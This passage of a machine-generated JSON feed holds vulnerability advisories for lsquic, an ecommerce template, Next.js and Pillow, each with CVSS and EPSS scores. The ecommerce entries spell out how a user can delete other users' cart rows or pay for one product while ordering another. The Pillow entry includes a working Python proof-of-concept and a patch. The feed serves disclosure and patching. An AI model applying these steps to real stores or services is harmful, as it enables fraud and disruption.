page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cg8m-r9f2-5wm2, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115482","cveId":"CVE-2026-115482","aliases":[],"kind":"vulnerability","title":"In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK...","summary":"In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK amplification attack. This is related to header_out_dynamic_entry and es_max_header_list_size.","detail":"In lsquic before 4.9.0, the HTTP/3 implementation can use an excessive amount of memory because the number of buffered header sets is not limited, as demonstrated by a QPACK amplification attack. This is related to header_out_dynamic_entry and es_max_header_list_size.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T16:17:35.490Z","updatedAt":"2026-10-22T19:17:48.100Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115482","asOf":"2026-10-22T19:17:48.100Z"},"epss":{"probability":0.00446,"percentile":0.38507,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115482&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115482","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115482","type":"primary","publishedAt":"2026-10-22T16:17:35.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115482&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115482, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115453","cveId":"CVE-2026-115453","aliases":[],"kind":"vulnerability","title":"Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and...","summary":"Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and modify the cart and wishlist rows of any other user, because cartRepository.delete(), cartRepository.updateQuantityInternal() and wishlistRepository.delete() in src/lib/db/drizzle/repositories/ match rows by primary key alone, with no predicate on the owning user, and the per user authorization for those three operations rests on PostgreSQL row level security. The migrations run ALTER TABLE ... ENABLE ROW LEVEL SECURITY and create policies comparing app.current_user_id() with user_id, but never ALTER TABLE ... FORCE ROW LEVEL SECURITY, and PostgreSQL does not apply policies to the role that owns a table. The template uses one DATABASE_URL both to run the migrations, which create the tables, and for the application at runtime, so the application connects as the owner of the tables and the policies do not apply to it. cart_items.id and wishlist.id are sequential bigserial values, so the identifiers of rows belonging to other users can be enumerated, and the update path returns the modified row, which carries the identifier of the user it belongs to. This results in the destruction and modification of cart and wishlist contents belonging to other accounts of the installation.","detail":"Authorization Bypass Through User-Controlled Key (CWE-639) in the cart and wishlist repositories of MarcosCamara01 Ecommerce Template allows any authenticated user to delete and modify the cart and wishlist rows of any other user, because cartRepository.delete(), cartRepository.updateQuantityInternal() and wishlistRepository.delete() in src/lib/db/drizzle/repositories/ match rows by primary key alone, with no predicate on the owning user, and the per user authorization for those three operations rests on PostgreSQL row level security. The migrations run ALTER TABLE ... ENABLE ROW LEVEL SECURITY and create policies comparing app.current_user_id() with user_id, but never ALTER TABLE ... FORCE ROW LEVEL SECURITY, and PostgreSQL does not apply policies to the role that owns a table. The template uses one DATABASE_URL both to run the migrations, which create the tables, and for the application at runtime, so the application connects as the owner of the tables and the policies do not apply to it. cart_items.id and wishlist.id are sequential bigserial values, so the identifiers of rows belonging to other users can be enumerated, and the update path returns the modified row, which carries the identifier of the user it belongs to. This results in the destruction and modification of cart and wishlist contents belonging to other accounts of the installation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T16:17:35.183Z","updatedAt":"2026-10-26T12:17:04.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115453","asOf":"2026-10-26T12:17:04.640Z"},"epss":{"probability":0.00249,"percentile":0.16116,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115453&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115453","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115453","type":"primary","publishedAt":"2026-10-22T16:17:35.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115453&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115453, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115450","cveId":"CVE-2026-115450","aliases":[],"kind":"vulnerability","title":"External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special...","summary":"External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special privileges to be charged the price of one product while placing an order for another, because POST /api/user/cart accepts variantId, which determines what the order records, and stripeId, which determines what Stripe charges, as two independent fields of the request body, stores both on the cart row, and no check requires the stripeId to be the one that belongs to the variantId. POST /api/stripe/payment builds the Stripe Checkout line items from the stored value, as { price: item.stripeId, quantity }, so the amount charged is the amount of that Stripe price. The checkout.session.completed webhook then creates the order products from the variantId of the same cart row, so the order records a product that was not paid for. Every stripeId in the catalogue is readable by any visitor, so no value has to be guessed. This results in orders for goods at the price of the cheapest item in the catalogue, repeatable without limit, and in order records whose amount does not correspond to the product they list.","detail":"External Control of Assumed-Immutable Web Parameter (CWE-472) in the cart and checkout flow of MarcosCamara01 Ecommerce Template allows an authenticated user with no special privileges to be charged the price of one product while placing an order for another, because POST /api/user/cart accepts variantId, which determines what the order records, and stripeId, which determines what Stripe charges, as two independent fields of the request body, stores both on the cart row, and no check requires the stripeId to be the one that belongs to the variantId. POST /api/stripe/payment builds the Stripe Checkout line items from the stored value, as { price: item.stripeId, quantity }, so the amount charged is the amount of that Stripe price. The checkout.session.completed webhook then creates the order products from the variantId of the same cart row, so the order records a product that was not paid for. Every stripeId in the catalogue is readable by any visitor, so no value has to be guessed. This results in orders for goods at the price of the cheapest item in the catalogue, repeatable without limit, and in order records whose amount does not correspond to the product they list.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T16:17:35.027Z","updatedAt":"2026-10-26T12:17:04.263Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115450","asOf":"2026-10-26T12:17:04.263Z"},"epss":{"probability":0.00235,"percentile":0.14233,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115450&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115450","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115450","type":"primary","publishedAt":"2026-10-22T16:17:35.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115450&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115450, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103004","cveId":"CVE-2026-103004","aliases":["GHSA-h694-7cp9-m8p3"],"kind":"vulnerability","title":"next.js cache leak across root param values in nested 'use cache' functions","summary":"With Cache Components enabled (`cacheComponents: true`), a `'use cache'` function that calls another `'use cache'` function that reads a root param can be keyed incorrectly when the inner call is served from an existing entry: the enclosing function's cache key then omits that root param. The enclosing entry is written once and reused for all root param values, so a response for one root param value can serve content produced for a different value — whether the page is prerendered at build time or at runtime, or rendered dynamically. Shared cache headers let downstream caches redistribute the content further. \n\nWhat values are leaked cannot be attacker controlled. Which value's content is served depends only on which invocation wrote the entry first.","detail":"### Impact\n\nWith Cache Components enabled (`cacheComponents: true`), a `'use cache'` function that calls another `'use cache'` function that reads a root param can be keyed incorrectly when the inner call is served from an existing entry: the enclosing function's cache key then omits that root param. The enclosing entry is written once and reused for all root param values, so a response for one root param value can serve content produced for a different value — whether the page is prerendered at build time or at runtime, or rendered dynamically. Shared cache headers let downstream caches redistribute the content further. \n\nWhat values are leaked cannot be attacker controlled. Which value's content is served depends only on which invocation wrote the entry first.\n\n### Workarounds\n\nThere are no known workarounds. Apps should upgrade to the patched version as soon as possible.\n\nAffected package ranges reported by GitHub:\nnext: >= 16.3.0, < 16.3.8","action":"GitHub lists first patched versions: next: 16.3.8. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:08:40.000Z","updatedAt":"2026-10-22T16:08:41.000Z","regions":["Global"],"vendor":null,"product":"next","stacks":["Next.js","JavaScript packages (npm)","next","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-h694-7cp9-m8p3","asOf":"2026-10-22T16:08:41.000Z"},"epss":{"probability":0.0025,"percentile":0.16183,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103004&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-h694-7cp9-m8p3","url":"https://github.com/advisories/GHSA-h694-7cp9-m8p3","type":"primary","publishedAt":"2026-10-22T16:08:40.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-h694-7cp9-m8p3, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103004&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103004, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96641","cveId":"CVE-2026-96641","aliases":["GHSA-4rm8-3hmm-39fg"],"kind":"vulnerability","title":"Pillow: Reachable undefined behavior in native integer operations, potentially leading to denial of service or logic integrity compromise","summary":"Package: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"","detail":"### Summary\nAffected Object and Source\n\nPackage: Pillow 12.3.0\nSource: PyPI sdist pillow-12.3.0.tar.gz\nSHA-256: 3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce\nSink: src/_imaging.c:2809:15, xsize += dx\n\n### Details\nThe code in Pillow 12.3.0 is:\n```c\nfor (xsize = 0; *text; text++) {\n int dx = self->glyphs[*text].dx;\n if (dx > 0 && xsize > INT_MAX - dx) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n }\n xsize += dx;\n}\n```\nThe PILfont glyph advance is parsed from a signed 16-bit field, so the valid range for `dx` is `[-32768, 32767]`. The existing check only proves:\n`dx > 0 => xsize xsize >= INT_MIN - dx`\nTaking `dx = -32768` and repeating it 65,537 times, the mathematical sum is `-2,147,516,416`, which is less than `INT_MIN = -2,147,483,648`. On the 65,537th addition, the operation `-2147483648 + -32768` is performed, resulting in **C signed overflow undefined behavior**.\n\n### PoC\n```python\n\"\"\"Minimal public-API reproducer for the Pillow 12.3.0 textwidth underflow.\n\nRun with an ordinary Pillow 12.3.0 build to observe the wrapped width, or with\nthe PyC-Contract UBSan build to obtain the exact native diagnostic.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport struct\nfrom io import BytesIO\n\nimport PIL\nfrom PIL import Image, ImageFont\n\nADVANCE = -(2**15)\nCONTROL_REPEAT = 65_536\nWITNESS_REPEAT = 65_537\n\ndef bitmap_font(advance: int) -> ImageFont.ImageFont:\n metrics = bytearray(256 * 20)\n glyph_offset = ord(\"A\") * 20\n metrics[glyph_offset : glyph_offset + 2] = struct.pack(\">h\", advance)\n font_data = b\"PILfont\\n;;;;;;1;\\nDATA\\n\" + bytes(metrics)\n font = ImageFont.ImageFont()\n font._load_pilfont_data(BytesIO(font_data), Image.new(\"1\", (1, 1)))\n return font\n\ndef main() -> None:\n font = bitmap_font(ADVANCE)\n print(f\"Pillow={PIL.__version__}\")\n print(f\"control_math={ADVANCE * CONTROL_REPEAT}\")\n print(f\"control_return={font.getlength('A' * CONTROL_REPEAT)}\")\n print(f\"witness_math={ADVANCE * WITNESS_REPEAT}\")\n print(f\"witness_return={font.getlength('A' * WITNESS_REPEAT)}\")\n\nif __name__ == \"__main__\":\n main()\n```\n\nObservations from a regular 12.3.0 release build:\n\n```text\nPillow=12.3.0\ncontrol_math=-2147483648\ncontrol_return=0\nwitness_math=-2147516416\nwitness_return=2147450880\n```\n\nThe adjacent control uses 65,536 repetitions, producing a mathematical result of exactly `INT_MIN`, and the function subsequently returns 0 according to existing semantics. Adding just a single character flips the return value to `2,147,450,880`.\n\n### Impact\nThe directly confirmed impact is width semantic integrity violation: getlength() and boundary calculations based on getsize() may return a huge positive value, while the true mathematical width is negative. The high-level getmask() typically passes through the decompression-bomb check, which mitigates the risk of direct massive allocation; however, internal font objects and applications that use the width for layout, quotas, serialization, or subsequent allocations may be affected by resource consumption or logic errors.\n\nTherefore, the current recommended severity rating is \"Reachable native integer undefined behavior, with potential DoS/logic integrity impact; specific security severity to be confirmed by the upstream threat model\", rather than a memory corruption vulnerability.\n\n### Recommended Patch and Regression Tests\n\nIt is recommended to extend the overflow check to cover both directions:\n```c\nif ((dx > 0 && xsize > INT_MAX - dx) ||\n (dx < 0 && xsize < INT_MIN - dx)) {\n PyErr_SetString(PyExc_OverflowError, \"Width too large\");\n return -1;\n}\n```\nAt a minimum, four test cases should be added:\n1. `dx = 32767, repeat = 65538` — upper adjacent control (should succeed);\n2. `dx = 32767, repeat = 65539` — should raise `OverflowError`;\n3. `dx = -32768, repeat = 65536` — lower adjacent control (should succeed);\n4. `dx = -32768, repeat = 65537` — should raise `OverflowError`.\n\nAdditionally, it should be verified that exception propagation is consistent across `getlength()`, `getbbox()`, `getmask()`, and the underlying `font.getsize()`.\n\nAffected package ranges reported by GitHub:\npillow: < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:01:14.000Z","updatedAt":"2026-10-22T16:01:15.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","sourceUrl":"https://github.com/advisories/GHSA-4rm8-3hmm-39fg","asOf":"2026-10-22T16:01:15.000Z"},"epss":{"probability":0.0035,"percentile":0.28374,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-4rm8-3hmm-39fg","url":"https://github.com/advisories/GHSA-4rm8-3hmm-39fg","type":"primary","publishedAt":"2026-10-22T16:01:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-4rm8-3hmm-39fg, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 